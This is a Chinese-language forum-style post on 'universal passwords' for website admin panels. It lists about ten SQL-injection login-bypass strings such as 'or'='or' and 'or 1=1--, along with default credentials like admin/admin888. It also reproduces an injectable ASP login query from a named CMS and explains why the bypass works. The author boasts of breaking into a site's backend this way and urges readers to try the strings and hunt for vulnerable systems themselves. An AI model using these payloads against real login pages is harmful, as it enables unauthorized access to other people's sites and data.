這萬能密碼好幾年前就有了。我都不當回事,結果這次真派上用場了,還真進了后台了
網站后台萬能密碼就是在用戶名與密碼處都寫入下列字符,如果知道管理員帳號的話直接添帳號,效果會更好!
例如我們要利用第一條就是:
用戶名:"or "a"="a
密碼:"or "a"="a
*********************************************************
1:"or "a"="a
2: '.).or.('.a.'='.a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or.'a.'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
原理都是利用SQL語法來利用注入,其實這也是注入的一種,都是因為提交字符未加過濾或過濾不嚴而導致的.
其實萬能是沒有的,默認是很多的,
admin
admin
admin
admin888
少數ASP網頁后面登陸時可以用密碼1'or'1'='1(用戶名用admin等試)登陸成功。這一般也是SQL注入的第一課,原理涉及到SQL語句……驗證登陸時,如果密碼=輸入的密碼,那么登陸成功,把1' or '1'='1帶入即“如果密碼=1或者1=1那么登成功”由於1=1恆成立,且“密碼=1”與“1=1”是邏輯或的關系,則整句為TRUE,即登陸成功。這樣說懂不?
其實后台萬能登陸密碼這個稱號真的不那么專業,或許叫做“后台驗證繞過語句”還好些,不過前者叫得普遍些。
這個語句就是'xor
xor估計很多人都知道,或者聽說過,不就是異或么,他和or以及and都是一樣的,但是or進行的是或運算,and進行的是與運算,異或xor則是不等的則是真,即比較的兩個值不相同的就對,相同的就錯,我搜了一下網上,幾乎沒有過濾參數,可以用經典'or'='or'進去的,'xor都可以進去,大家可以嘗試一下。
對網站萬能密碼'or'='or'的淺解
'or'='or'漏洞是一個比較老的漏洞了,主要是出現在后台登錄上,利用這個漏洞,我們可以不用輸入密碼就直接進入系統的后台.它出現的原因是在編程時邏輯上考慮不周,同時對單引號沒有進行過濾,從而導致了漏洞的出現.先給大家簡單介紹下漏洞的原理吧,只要大家搞懂了原理,就可以自己去找這樣漏洞的系統了.
1:語句:''or'='or' a'or'1=1-- 'or1=1-- "or1=1-- or1=1-- 'or"="a'='a ') or ('a'='a等等,
2:分析利用:我從站長網站下載了"織夢工作室企業全站程序(原良精)修正美化版"源代碼,從中找到后台登錄的頁面"login.asp"其中有以下一段代碼:
<%
(1)pwd = request.form("pwd") "獲取客戶端輸入的密碼,再把值賦給pwd"
(2)name = request.form("name") "獲取客戶端輸入的用戶名再把值賦給name"
都沒有進行任何過濾
(3)Set rs = Server.CreateObject("ADODB.Connection") "利用Server對象的CreateObject方法創建ADO組件的Connection對象"
(4)sql = "select * from Manage_User where UserName='" & name & "' And PassWord='"&encrypt(pwd)&"'" "將用戶名和密碼放入查詢語句中查詢數據庫"
(5)Set rs = conn.Execute(sql) "執行SQL語句"
(6)If Not rs.EOF = True Then "當前的記錄位於Connection對象的最后一個記錄之前"
(7)Session("Name") = rs("UserName") "將UserName的屬性賦給Name的Session自定義變量"
(8)Session("pwd") = rs("PassWord") "將PassWord的屬性賦給pwd的Session自定義變量"
(9)Response.Redirect("Manage.asp")了 "利用Response對象的Redirect方法重定向"Manage.asp"
(10)Else
(11)Response.Redirect "Loginsb.asp?msg=您輸入了錯誤的帳號或口令,請再次輸入!"
(12)End If
(13)end if
%>
從這段代碼中,我們可以看到后台是采用"Session"驗證的,大家知道,還有一種是采用"cookie"驗證的,不過原理相同,從分析中,我們可以看到后台登錄沒有對客戶輸入的用戶名和密碼進行任何過濾,就交給了SQL語句查詢,如果查詢的記錄是位於最后一條記錄之前,剛設置Session變量UserName,PassWord的值分別為Name,pwd,並重定向到"Manage.asp".
從以上分析中.出現了很大的安全漏洞,問題就出現在第一,第二句,它們的功能是獲得客戶端輸入的用戶名和密碼卻沒有進行任何的過濾,也不會去檢查我們輸入的數據,這樣,我們就可以對其實行攻擊,要實行攻擊這種漏洞的問題關鍵就是使SQL語句的查詢結果為真,這里我們又要用到or和and的邏輯運算的知識,我這里不詳細的說,就講二點,
第一:優先原則----出現or同時又出現and時,則先運算and運算符。
第二:and運算符意思,是"且",就是對二個表達式進行邏輯"與"運算(我這兒說的是"且"),而or運算符的意思,是"或",就是對二個表達式進行邏輯"或"運算。
下面是二個運算符的運算結果:
and邏輯運算的結果:真----真===真;假----真===假; 真----假===假; 假----假===假.
or邏輯運算的結果:真----真===真;假----真===真; 真----假===真; 假----假===假.
大家自己可以體會下
下面我們先來看代碼中的SQL查詢語句" sql = "select * from Manage_User where UserName='" & name & "' And PassWord='"&encrypt(pwd)&"' " ,要使這條語句執行為真,我們就要構造一個特殊的用戶名,就可繞過程序的驗證,進入后台,我們只要在用戶名處輸入'or'='or',密碼處隨便輸入字符(我們就輸入000吧),這樣上面的SQL語句就變成了sql = "select * from Manage_User where UserName=''or'='or''and PassWord='000'"那么where后的語句轉換成邏輯語句后為假or真or假and假,通過簡單的運算,則最終為真,而SQL語句的查詢結果也變成真了,這樣大家可能還不怎么聽得懂,我換成另一條語句:1' or 1=1 or '1'='1,那么SQL語句就變成了sql = "select * from Manage_User where UserName='1' or 1=1 or '1'='1' and PassWord='000'"大家知道,在邏輯表達式中'1'是為假,1=1總為真吧,'1'='1'也為真,而密碼我們是隨便輸入的所以為假,那么where后的語句轉換成邏輯語句后為假or真or真and假,最終的運算結果也為真.這些大家自己慢慢的去實踐,去體會,我相信大家都會搞懂的,大家還可以自己構造一些語句去驗證下.
對於Session驗證的,我們還可以進行Session欺騙(大家都知道cookie欺騙登錄了吧,呵呵),假設我們知道這個系統的管理員的用戶名為admin,那么我們只需在密碼處輸入的語句使它的運算結果為真就行了,這兒留給大家自己構造.
coolie驗證的登錄原理和Session"驗證的相同,只要大家構造的語句使的SQL的執行為真就行了,這是關鍵喲,大家可記住了!